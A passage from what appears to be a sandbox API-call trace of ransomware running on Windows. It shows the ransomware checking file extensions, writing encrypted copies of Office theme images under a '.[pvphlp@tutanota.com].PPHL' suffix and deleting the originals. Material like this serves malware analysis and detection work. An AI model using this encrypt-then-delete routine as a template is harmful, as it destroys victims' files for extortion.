dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.846] SetEndOfFile (hFile=0x21c) returned 1 [0077.847] CloseHandle (hObject=0x21c) returned 1 [0077.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.847] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0077.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.847] lstrlenW (lpString=".doc") returned 4 [0077.847] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.847] lstrlenW (lpString=".docx") returned 5 [0077.848] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.848] lstrlenW (lpString=".pdf") returned 4 [0077.848] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.848] lstrlenW (lpString=".xls") returned 4 [0077.848] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.848] lstrlenW (lpString=".xlsx") returned 5 [0077.848] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.848] lstrlenW (lpString=".ppt") returned 4 [0077.848] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.848] lstrlenW (lpString=".zip") returned 4 [0077.848] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.848] lstrlenW (lpString=".rar") returned 4 [0077.848] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.848] lstrlenW (lpString=".bz2") returned 4 [0077.848] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.848] lstrlenW (lpString=".7z") returned 3 [0077.848] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.848] lstrlenW (lpString=".dbf") returned 4 [0077.848] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.848] lstrlenW (lpString=".1cd") returned 4 [0077.848] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.848] lstrlenW (lpString=".jpg") returned 4 [0077.848] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.849] lstrlenW (lpString=".doc") returned 4 [0077.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.849] lstrlenW (lpString=".docx") returned 5 [0077.849] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.849] lstrlenW (lpString=".pdf") returned 4 [0077.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.849] lstrlenW (lpString=".xls") returned 4 [0077.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.849] lstrlenW (lpString=".xlsx") returned 5 [0077.849] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.849] lstrlenW (lpString=".ppt") returned 4 [0077.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.849] lstrlenW (lpString=".zip") returned 4 [0077.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.849] lstrlenW (lpString=".rar") returned 4 [0077.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.849] lstrlenW (lpString=".bz2") returned 4 [0077.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.849] lstrlenW (lpString=".7z") returned 3 [0077.849] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.849] lstrlenW (lpString=".dbf") returned 4 [0077.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.849] lstrlenW (lpString=".1cd") returned 4 [0077.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0077.849] lstrlenW (lpString=".jpg") returned 4 [0077.849] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.850] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.850] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.850] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=5120) returned 1 [0077.850] CloseHandle (hObject=0x21c) returned 1 [0077.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0077.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.850] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.850] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0077.852] GetLastError () returned 0x0 [0077.852] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x1400, lpOverlapped=0x0) returned 1 [0077.854] WriteFile (in: hFile=0x218, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0077.855] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.855] WriteFile (in: hFile=0x218, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.855] SetEndOfFile (hFile=0x218) returned 1 [0077.855] CloseHandle (hObject=0x218) returned 1 [0077.855] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.855] SetEndOfFile (hFile=0x21c) returned 1 [0077.856] CloseHandle (hObject=0x21c) returned 1 [0077.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.856] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0077.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.857] lstrlenW (lpString=".doc") returned 4 [0077.857] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.857] lstrlenW (lpString=".docx") returned 5 [0077.857] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.857] lstrlenW (lpString=".pdf") returned 4 [0077.857] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.857] lstrlenW (lpString=".xls") returned 4 [0077.857] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.857] lstrlenW (lpString=".xlsx") returned 5 [0077.857] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.857] lstrlenW (lpString=".ppt") returned 4 [0077.857] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.857] lstrlenW (lpString=".zip") returned 4 [0077.857] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.857] lstrlenW (lpString=".rar") returned 4 [0077.857] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.857] lstrlenW (lpString=".bz2") returned 4 [0077.857] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.857] lstrlenW (lpString=".7z") returned 3 [0077.857] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.857] lstrlenW (lpString=".dbf") returned 4 [0077.857] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.858] lstrlenW (lpString=".1cd") returned 4 [0077.858] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.858] lstrlenW (lpString=".jpg") returned 4 [0077.858] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.858] lstrlenW (lpString=".doc") returned 4 [0077.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.858] lstrlenW (lpString=".docx") returned 5 [0077.858] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.858] lstrlenW (lpString=".pdf") returned 4 [0077.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.858] lstrlenW (lpString=".xls") returned 4 [0077.858] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.858] lstrlenW (lpString=".xlsx") returned 5 [0077.858] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.858] lstrlenW (lpString=".ppt") returned 4 [0077.858] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.858] lstrlenW (lpString=".zip") returned 4 [0077.858] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.858] lstrlenW (lpString=".rar") returned 4 [0077.858] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.858] lstrlenW (lpString=".bz2") returned 4 [0077.858] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.858] lstrlenW (lpString=".7z") returned 3 [0077.858] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.858] lstrlenW (lpString=".dbf") returned 4 [0077.858] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.859] lstrlenW (lpString=".1cd") returned 4 [0077.859] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0077.859] lstrlenW (lpString=".jpg") returned 4 [0077.859] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.859] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.859] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.860] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=60724) returned 1 [0077.860] CloseHandle (hObject=0x21c) returned 1 [0077.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0077.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.860] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.860] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0077.860] GetLastError () returned 0x0 [0077.860] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0xed34, lpOverlapped=0x0) returned 1 [0077.863] WriteFile (in: hFile=0x218, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0077.864] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.864] WriteFile (in: hFile=0x218, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.864] SetEndOfFile (hFile=0x218) returned 1 [0077.864] CloseHandle (hObject=0x218) returned 1 [0077.865] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.865] SetEndOfFile (hFile=0x21c) returned 1 [0077.866] CloseHandle (hObject=0x21c) returned 1 [0077.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.866] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0077.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.866] lstrlenW (lpString=".doc") returned 4 [0077.866] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.866] lstrlenW (lpString=".docx") returned 5 [0077.866] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.866] lstrlenW (lpString=".pdf") returned 4 [0077.866] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.866] lstrlenW (lpString=".xls") returned 4 [0077.867] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.867] lstrlenW (lpString=".xlsx") returned 5 [0077.867] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.867] lstrlenW (lpString=".ppt") returned 4 [0077.867] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.867] lstrlenW (lpString=".zip") returned 4 [0077.867] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.867] lstrlenW (lpString=".rar") returned 4 [0077.867] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.867] lstrlenW (lpString=".bz2") returned 4 [0077.867] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.867] lstrlenW (lpString=".7z") returned 3 [0077.867] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.867] lstrlenW (lpString=".dbf") returned 4 [0077.867] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.867] lstrlenW (lpString=".1cd") returned 4 [0077.867] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.867] lstrlenW (lpString=".jpg") returned 4 [0077.867] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.867] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.867] lstrlenW (lpString=".doc") returned 4 [0077.867] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.867] lstrlenW (lpString=".docx") returned 5 [0077.867] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.867] lstrlenW (lpString=".pdf") returned 4 [0077.867] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.867] lstrlenW (lpString=".xls") returned 4 [0077.867] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.867] lstrlenW (lpString=".xlsx") returned 5 [0077.868] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.868] lstrlenW (lpString=".ppt") returned 4 [0077.868] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.868] lstrlenW (lpString=".zip") returned 4 [0077.868] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.868] lstrlenW (lpString=".rar") returned 4 [0077.868] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.868] lstrlenW (lpString=".bz2") returned 4 [0077.868] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.868] lstrlenW (lpString=".7z") returned 3 [0077.868] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.868] lstrlenW (lpString=".dbf") returned 4 [0077.868] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.868] lstrlenW (lpString=".1cd") returned 4 [0077.868] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0077.868] lstrlenW (lpString=".jpg") returned 4 [0077.868] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.868] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.868] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.869] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2552) returned 1 [0077.869] CloseHandle (hObject=0x21c) returned 1 [0077.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0077.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0077.869] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.869] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.871] GetLastError () returned 0x0 [0077.871] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0077.873] WriteFile (in: hFile=0x1f8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0077.873] ReadFile (in: hFile=0x21c, lpBuffer=0x3080020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.873] WriteFile (in: hFile=0x1f8, lpBuffer=0x3080020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3080020*, 